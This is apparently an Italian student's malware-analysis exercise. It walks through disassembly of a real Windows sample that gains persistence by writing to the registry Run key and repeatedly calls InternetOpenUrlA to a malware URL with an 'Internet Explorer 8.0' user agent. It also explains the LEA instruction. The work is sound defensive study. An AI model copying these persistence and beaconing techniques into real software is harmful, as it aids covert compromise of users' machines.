Esercizio 1 Settimana 11

Windows Malware

La traccia di oggi ci fornisce un estratto di un Malware reale al fine di rispondere a diversi quesiti.

Persistenza del Malware

Molti malware utilizzano il registro di Windows per ottenere la 'persistenza', così che l'eseguibile possa aggiungersi ai programmi che devono essere avviati all'accensione del PC in maniera automatica e senza l'azione dell'utente. Il registro di Windows, infatti, contiene informazioni e configurazioni del sistema operativo o delle applicazioni.
Possiamo notare dalla figura che la prima cosa che fa l'eseguibile è chiamare la funzione **RegOpenKeyEx** a seguito del passaggio sullo stack dei parametri. Il malware così accede alla chiave di registro al fine di modificarla.

```
)040286F  push    2                 ; samDesired
)0402871  push    eax               ; ulOptions
)0402872  push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877  push    HKEY_LOCAL_MACHINE ; hKey
)040287C  call    esi ; RegOpenKeyExW
)040287E  test    eax, eax
)0402880  jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882  lea     ecx, [esp+424h+Data]
)0402886  push    ecx               ; lpString
)0402887  mov     bl, 1
)0402889  call    ds:lstrlenW
)040288F  lea     edx, [eax+eax+2]
)0402893  push    edx               ; cbData
)0402894  mov     edx, [esp+428h+hKey]
)0402898  lea     eax, [esp+428h+Data]
)040289C  push    eax               ; lpData
)040289D  push    1                 ; dwType
)040289F  push    0                 ; Reserved
)04028A1  lea     ecx, [esp+434h+ValueName]
)04028A8  push    ecx               ; lpValueName
)04028A9  push    edx               ; hKey
)04028AA  call    ds:RegSetValueExW
```

In seguito userà la chiamata di funzione RegSetValueEx: una volta aperta la chiave, questa funzione permette di settare un nuovo valore all'interno del registro.

```
)04028A8  push    ecx               ; lpValueName
)04028A9  push    edx               ; hKey
)04028AA  call    ds:RegSetValueExW
```

CLIENT SOFTWARE UTILIZZATO

Andiamo ad indentificare il client software utilizzato dal malware per avere accesso ad Internet.

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near              ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
```

Possiamo notare che il client utilizzato è Internet Explorer tramite la riga **push offset szAgent; “InternetExplorer 8.0”.**

URL E CHIAMATA DI FUNZIONE

Tra le funzioni più utilizzate per l’accesso ad internet troviamo **InternetOpen** e **InternetOpenUrl**.
Quella che a noi interessa è la seconda: essa viene utilizzata per accedere ad un determinato URL e deve accettare l’inizializzazione della connessione tramite funzione **InternetOpen** e l’Url desiderato per la connessione.


```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near              ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
```

‘LEA’ IN ASSEMBLY

L’istruzione ‘lea’ (Load Effective Address) è utilizzata per caricare l’indirizzo di una sorgente in un registro senza accedere effettivamente alla memoria. Può quindi essere utilizzato per calcoli di indirizzi complessi.

Andrea Macchi